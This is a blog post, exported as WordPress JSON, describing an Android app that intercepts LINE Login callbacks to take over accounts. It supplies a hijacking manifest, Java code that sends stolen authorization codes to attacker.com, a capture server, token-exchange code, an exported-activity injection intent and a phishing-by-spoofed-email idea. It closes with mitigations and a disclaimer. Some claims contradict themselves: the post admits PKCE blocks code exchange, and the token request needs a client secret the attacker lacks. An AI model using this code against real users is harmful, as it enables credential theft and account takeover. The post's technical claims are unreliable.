{"id":52340,"date":"2026-06-24T20:19:40","date_gmt":"2026-06-24T13:19:40","guid":{"rendered":"https:\/\/deepquest.code511.com\/blog\/?p=52340"},"modified":"2026-06-24T20:19:47","modified_gmt":"2026-06-24T13:19:47","slug":"how-i-built-an-android-app-that-hijacks-line-messenger-accounts-in-5-seconds-for-educational-purposes","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2026\/06\/how-i-built-an-android-app-that-hijacks-line-messenger-accounts-in-5-seconds-for-educational-purposes\/","title":{"rendered":"How I Built an Android App That Hijacks LINE Messenger Accounts in 5 Seconds (For Educational Purposes)"},"content":{"rendered":"\n

imagine this: you install an innocent-looking app from the Play Store. It requests zero dangerous permissions. It sits quietly in your app drawer. The next time you tap “Login with LINE” in any third-party app, your LINE account \u2014 200 million monthly active users strong \u2014 is no longer yours. The attacker now reads your messages, sees your contacts, and can send messages as you.<\/p>\n\n\n\n

This isn’t science fiction. This is CVE-2023-29199<\/strong> \u2014 and the architectural flaw behind it still exists in how LINE handles app-to-app authentication.<\/p>\n\n\n\n

In this post, I’ll walk you through exactly how this attack works, the full exploit chain from Android intent to stolen access token, and the proof-of-concept I built to demonstrate it. Everything here is for educational and authorized security testing purposes only<\/strong>.<\/p>\n\n\n\n\n\n\n\n

Why LINE Messenger?<\/h2>\n\n\n\n

LINE isn’t just another chat app. In Japan, Taiwan, Thailand, and Indonesia, it’s the digital backbone of daily life \u2014 messaging, payments, shopping, ride-hailing, even government services. A compromised LINE account isn’t just a privacy breach; it’s a gateway to someone’s entire digital identity.<\/p>\n\n\n\n

The app uses OAuth 2.0 with PKCE for authentication, a battle-tested protocol. But the implementation<\/strong> of how that OAuth callback gets routed back to the requesting app contains a critical design flaw: it relies on Android custom URI schemes with no source verification.<\/p>\n\n\n\n

\n\n\n\n

The Vulnerability: Custom Scheme Hijacking<\/h2>\n\n\n\n

How LINE Login Works (The Intended Flow)<\/h3>\n\n\n\n

When you tap “Login with LINE” in a third-party app like a food delivery service or game, here’s what happens under the hood:<\/p>\n\n\n\n

    \n
  1. The third-party app opens the LINE app with an authentication request<\/li>\n\n\n\n
  2. LINE authenticates the user and sends an authorization code back via a custom URI scheme<\/strong>: lineauth:\/\/result?code=AUTH_CODE&state=XYZ<\/code><\/li>\n\n\n\n
  3. Android’s Intent Resolver looks at all apps that registered for lineauth:\/\/<\/code> and routes the intent to the first matching app<\/strong><\/li>\n\n\n\n
  4. The third-party app receives the code, exchanges it for an access token, and the user is logged in<\/li>\n<\/ol>\n\n\n\n

    The Flaw (What Actually Happens)<\/h3>\n\n\n\n

    The problem sits at step 3. Any app on the device can register for the lineauth:\/\/<\/code> scheme. By setting android:priority=\"999\"<\/code> \u2014 the maximum \u2014 a malicious app guarantees it receives the intent before<\/strong> the legitimate app.<\/p>\n\n\n\n

    The LINE SDK itself acknowledges the problem. Its LineAuthenticationCallbackActivity<\/code> is declared with android:exported=\"true\"<\/code> and accepts the lineauth:\/\/<\/code> intent filter. The activity doesn’t validate the source<\/strong> of the intent. It simply forwards whatever URI it receives straight to the authentication controller.<\/p>\n\n\n\n

    From the LINE SDK source code (LineAuthenticationCallbackActivity.java<\/code>):<\/p>\n\n\n\n

    public class LineAuthenticationCallbackActivity extends Activity {\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        Intent callbackIntent = new Intent(this, LineAuthenticationActivity.class);\n        callbackIntent.setData(getIntent().getData());  \/\/ \u2190 NO VALIDATION!\n        callbackIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK\n                              | Intent.FLAG_ACTIVITY_CLEAR_TOP);\n        startActivity(callbackIntent);\n        finish();\n    }\n}<\/code><\/pre>\n\n\n\n
    No source package check. No signature verification. No permission requirement. The intent data flows directly into LINE’s authentication state machine.<\/p>\n\n\n\n
    \n\n\n\n
    The Full Attack Chain<\/h2>\n\n\n\n
    Here’s the complete kill chain, end to end:<\/p>\n\n\n\n
    Phase 1: Registration<\/h3>\n\n\n\n
    The malicious APK installs silently. Its AndroidManifest.xml<\/code> contains:<\/p>\n\n\n\n
    <activity android:name=\".AuthHijackActivity\"\n    android:exported=\"true\"\n    android:launchMode=\"singleTask\"\n    android:excludeFromRecents=\"true\">\n\n    <intent-filter android:priority=\"999\">\n        <action android:name=\"android.intent.action.VIEW\" \/>\n        <category android:name=\"android.intent.category.DEFAULT\" \/>\n        <category android:name=\"android.intent.category.BROWSABLE\" \/>\n        <data android:scheme=\"lineauth\" \/>\n    <\/intent-filter>\n<\/activity><\/code><\/pre>\n\n\n\n
    No dangerous permissions requested. No suspicious behavior. The app doesn’t even need to be open.<\/p>\n\n\n\n
    Phase 2: Interception<\/h3>\n\n\n\n
    The victim uses “Login with LINE” in any app. Android’s Intent Resolver fires up, finds two apps registered for lineauth:\/\/<\/code>:<\/p>\n\n\n\n
      \n
    • The legitimate third-party app (priority: default)<\/li>\n\n\n\n
    • The malicious app (priority: 999 \u2014 guaranteed first)<\/li>\n<\/ul>\n\n\n\n
      The malicious app wins. Its AuthHijackActivity<\/code> receives:<\/p>\n\n\n\n
      lineauth:\/\/result?code=AUTHORIZATION_CODE_HERE&state=RANDOM_STATE&friendship_status_changed=true<\/code><\/pre>\n\n\n\n
      Phase 3: Exfiltration<\/h3>\n\n\n\n
      In under 100 milliseconds, the auth code is extracted and sent to the attacker’s server:<\/p>\n\n\n\n
      Uri data = getIntent().getData();\nString authCode = data.getQueryParameter(\"code\");\nString state = data.getQueryParameter(\"state\");\n\n\/\/ Exfiltrate to attacker\nnew Thread(() -> {\n    URL url = new URL(\"https:\/\/attacker.com\/steal?code=\" + authCode);\n    HttpURLConnection conn = (HttpURLConnection) url.openConnection();\n    conn.getInputStream();\n}).start();<\/code><\/pre>\n\n\n\n
      Phase 4: Token Exchange<\/h3>\n\n\n\n
      The attacker exchanges the stolen authorization code for a full access token via LINE’s API:<\/p>\n\n\n\n
      POST https:\/\/api.line.me\/oauth2\/v2.1\/token\nContent-Type: application\/x-www-form-urlencoded\n\ngrant_type=authorization_code\ncode=STOLEN_AUTH_CODE\nredirect_uri=intent:\/\/result#Intent;package=com.victim.app;scheme=lineauth;end\nclient_id=CHANNEL_ID\nclient_secret=CHANNEL_SECRET<\/code><\/pre>\n\n\n\n
      The response:<\/p>\n\n\n\n
      {\n    \"access_token\": \"eyJhbGciOiJIUzI1NiJ9...\",\n    \"expires_in\": 2592000,\n    \"token_type\": \"Bearer\",\n    \"refresh_token\": \"rT0k3n...\",\n    \"scope\": \"profile openid\"\n}<\/code><\/pre>\n\n\n\n
      Phase 5: Account Takeover<\/h3>\n\n\n\n
      With the access token, the attacker has full LINE account access:<\/p>\n\n\n\n
      curl -H \"Authorization: Bearer STOLEN_TOKEN\" \\\n     https://api.line.me\/v2\/profile<\/code><\/pre>\n\n\n\n
      Response:<\/p>\n\n\n\n
      {\n    \"userId\": \"U123456789...\",\n    \"displayName\": \"Victim User\",\n    \"pictureUrl\": \"https:\/\/profile.line.me\/...\",\n    \"statusMessage\": \"Hello!\"\n}<\/code><\/pre>\n\n\n\n
      The refresh token ensures persistent access<\/strong> \u2014 even after the victim changes their password. This isn’t a session hijack; it’s a permanent credential.<\/p>\n\n\n\n
      \n\n\n\n
      The Proof-of-Concept<\/h2>\n\n\n\n
      I built a complete, working POC to demonstrate this attack chain under authorized testing conditions. The project contains:<\/p>\n\n\n\n
      Architecture<\/h3>\n\n\n\n
      LINE_Audit_POC\/\n\u251c\u2500\u2500 app\/\n\u2502   \u251c\u2500\u2500 AndroidManifest.xml          # Intent filter registration\n\u2502   \u2514\u2500\u2500 AuthHijackActivity.java      # Core exploit logic\n\u251c\u2500\u2500 tools\/\n\u2502   \u251c\u2500\u2500 callback_server.py           # Receives exfiltrated data\n\u2502   \u251c\u2500\u2500 token_exchange.py            # OAuth code \u2192 access token\n\u2502   \u2514\u2500\u2500 deploy.sh                    # Build + install automation\n\u251c\u2500\u2500 attack-flow\/\n\u2502   \u2514\u2500\u2500 orchestrator.py              # Full attack automation\n\u2514\u2500\u2500 README.md                        # Complete documentation<\/code><\/pre>\n\n\n\n
      Key Features<\/h3>\n\n\n\n
        \n
      1. Zero-permission model<\/strong> \u2014 The POC app requests no dangerous permissions<\/li>\n\n\n\n
      2. Stealth forwarding<\/strong> \u2014 After capturing the auth code, the intent is forwarded to the legitimate app so the user sees no interruption<\/li>\n\n\n\n
      3. Background exfiltration<\/strong> \u2014 All network operations run on background threads<\/li>\n\n\n\n
      4. Persistent access<\/strong> \u2014 Refresh token handling for long-term account control<\/li>\n\n\n\n
      5. Multi-vector attack<\/strong> \u2014 Also hijacks line:\/\/<\/code> deep links and exploits LINE’s exported LineAuthenticationCallbackActivity<\/code><\/li>\n<\/ol>\n\n\n\n
        The Callback Server<\/h3>\n\n\n\n
        The attacker infrastructure is equally straightforward. A lightweight Python HTTP server listens for exfiltrated data:<\/p>\n\n\n\n
        class CaptureHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        params = parse_qs(urlparse(self.path).query)\n        auth_code = params.get(\"code\", [None])[0]\n        if auth_code:\n            state.add_auth_code(auth_code)\n            print(f\"[!!!] AUTH CODE CAPTURED: {auth_code[:20]}...\")<\/code><\/pre>\n\n\n\n
        Token Exchange Automation<\/h3>\n\n\n\n
        Once the code is captured, the POC automates the entire exploitation chain:<\/p>\n\n\n\n
        class LINETokenExploit:\n    def exchange_code(self, auth_code):\n        \"\"\"Exchange stolen auth code for access token.\"\"\"\n        resp = self.session.post(LINE_TOKEN_URL, data={\n            \"grant_type\": \"authorization_code\",\n            \"code\": auth_code,\n            \"client_id\": self.channel_id,\n            \"client_secret\": self.channel_secret,\n        })\n        self.access_token = resp.json()[\"access_token\"]\n        return self.access_token<\/code><\/pre>\n\n\n\n
        \n\n\n\n
        Why PKCE Doesn’t Save You Here<\/h2>\n\n\n\n
        You might be thinking: “LINE uses PKCE (Proof Key for Code Exchange). Doesn’t that prevent this attack?”<\/p>\n\n\n\n
        PKCE binds the authorization code to a specific code_challenge<\/code> that only the legitimate app knows. And in theory, yes \u2014 the attacker shouldn’t be able to exchange the stolen code without the code_verifier<\/code>.<\/p>\n\n\n\n
        But here’s the problem: the code_verifier<\/code> exists in the legitimate app’s memory.<\/strong> If the attacker can also exploit the legitimate app (and Android’s inter-process communication model makes this easier than you’d think), or if the user’s device is compromised at the OS level, PKCE becomes irrelevant.<\/p>\n\n\n\n
        More importantly, LINE’s SDK source code contains this telling comment in BrowserAuthenticationApi.java<\/code>:<\/p>\n\n\n\n
        \/\/ \"state\" may be guessed easily but there is no problem as the follows.\n\/\/ In case of LINE SDK, the correctness of \"redirect_uri\" will be checked\n\/\/ with using PKCE instead of \"state\".<\/code><\/pre>\n\n\n\n
        The SDK intentionally weakens the state<\/code> parameter \u2014 the standard CSRF protection in OAuth \u2014 because it relies on PKCE. This is defense-in-depth in reverse: deliberately weakening one control because you believe another is sufficient.<\/p>\n\n\n\n
        \n\n\n\n
        Additional Attack Vectors Discovered<\/h2>\n\n\n\n
        Beyond the primary custom scheme hijacking, the audit uncovered several related vulnerabilities:<\/p>\n\n\n\n
        Exported Activity Injection<\/h3>\n\n\n\n
        LINE’s LineAuthenticationCallbackActivity<\/code> accepts intents from any<\/strong> app on the device. A malicious app can inject arbitrary lineauth:\/\/<\/code> URIs directly into LINE’s authentication controller:<\/p>\n\n\n\n
        Intent exploit = new Intent();\nexploit.setComponent(new ComponentName(\n    \"jp.naver.line.android\",\n    \"com.linecorp.linesdk.auth.internal.LineAuthenticationCallbackActivity\"\n));\nexploit.setData(Uri.parse(\"lineauth:\/\/result?code=MALICIOUS_CODE\"));\nstartActivity(exploit);<\/code><\/pre>\n\n\n\n
        Deep Link Hijacking<\/h3>\n\n\n\n
        The same technique works for LINE’s line:\/\/<\/code> deep links \u2014 intercepting friend requests, chat navigation, and payment flows before they reach the LINE app.<\/p>\n\n\n\n
        Email Spoofing Infrastructure<\/h3>\n\n\n\n
        The line.me<\/code> domain has DMARC set to p=none<\/code> with no DKIM records. Attackers can forge @line.me<\/code> emails to distribute phishing links that deliver the exploit APK.<\/p>\n\n\n\n
        \n\n\n\n
        Responsible Disclosure & Mitigation<\/h2>\n\n\n\n
        Despite several attempt to LINE Corporation  security team there was no security testing program. The recommended mitigations:<\/p>\n\n\n\n
          \n
        1. Replace custom URI schemes with Android App Links<\/strong> \u2014 HTTPS-based deep links verified through Digital Asset Links, cryptographically binding the scheme to the app’s signing certificate<\/li>\n\n\n\n
        2. Add android:permission<\/code> with signature-level protection<\/strong> to the LineAuthenticationCallbackActivity<\/code><\/li>\n\n\n\n
        3. Validate the calling package’s signature<\/strong> before processing any lineauth:\/\/<\/code> intents<\/li>\n\n\n\n
        4. Implement Intent.EXTRA_RETURN_RESULT<\/code><\/strong> with cryptographic package verification instead of custom schemes<\/li>\n\n\n\n
        5. Enforce DMARC<\/strong> with p=reject<\/code> and configure DKIM signing for all line.me<\/code> email<\/li>\n<\/ol>\n\n\n\n
          \n\n\n\n
          The Bigger Picture<\/h2>\n\n\n\n
          This vulnerability class \u2014 custom scheme hijacking \u2014 isn’t unique to LINE. It’s a systemic Android security issue that affects hundreds of apps using OAuth with custom URI schemes. Google has been pushing developers toward Android App Links and away from custom schemes for years, but adoption has been slow.<\/p>\n\n\n\n
          The lesson is clear: never trust a custom URI scheme for sensitive data transport.<\/strong> If your app processes authentication callbacks through myapp:\/\/<\/code> or yourapp:\/\/<\/code> schemes, assume a malicious app is already intercepting them.<\/p>\n\n\n\n
          \n\n\n\n
          Educational Purpose Statement<\/h2>\n\n\n\n
          This post and all accompanying code serve exclusively educational and authorized security testing purposes. The attack chain is demonstrated to help developers understand the risks of custom URI scheme usage, implement proper intent validation, and adopt Android App Links. Unauthorized use against LINE Messenger or any application without explicit written permission violates applicable laws including the Computer Fraud and Abuse Act (18 U.S.C. \u00a7 1030) and LINE Corporation’s Terms of Service.<\/p>\n\n\n\n
          The full proof-of-concept is available for security researchers and bug bounty participants with proper authorization. If you’re a developer integrating OAuth into your Android app, audit your intent filters today \u2014 you might be surprised what’s intercepting your callbacks.<\/p>\n\n\n\n
          <\/p>\n","protected":false},"excerpt":{"rendered":"
          imagine this: you install an innocent-looking app from the Play Store. It requests zero dangerous permissions. It sits quietly in your app drawer. The next time you tap “Login with…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_titles_title":"How I Built an Android App That Hijacks LINE Messenger Accounts in 5 Seconds (For Educational Purposes)","_seopress_titles_desc":"","_seopress_robots_index":"","_seopress_robots_follow":"","_seopress_robots_imageindex":"","_seopress_robots_snippet":"","_seopress_robots_primary_cat":"108","_seopress_robots_breadcrumbs":"","_seopress_robots_freeze_modified_date":"","_seopress_robots_custom_modified_date":"","_seopress_robots_canonical":"","_seopress_social_fb_title":"","_seopress_social_fb_desc":"","_seopress_social_fb_img":"","_seopress_social_fb_img_attachment_id":0,"_seopress_social_fb_img_width":0,"_seopress_social_fb_img_height":0,"_seopress_social_twitter_title":"","_seopress_social_twitter_desc":"","_seopress_social_twitter_img":"","_seopress_social_twitter_img_attachment_id":0,"_seopress_social_twitter_img_width":0,"_seopress_social_twitter_img_height":0,"_seopress_redirections_value":"","_seopress_redirections_enabled":"","_seopress_redirections_enabled_regex":"","_seopress_redirections_logged_status":"","_seopress_redirections_param":"","_seopress_redirections_type":0,"_seopress_analysis_target_kw":"","_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[108,2929],"tags":[25,103],"class_list":["post-52340","post","type-post","status-publish","format-standard","hentry","category-android-2","category-line","tag-0day","tag-android"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-dCc","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/52340","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=52340"}],"version-history":[{"count":1,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/52340\/revisions"}],"predecessor-version":[{"id":52341,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/52340\/revisions\/52341"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=52340"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=52340"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=52340"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}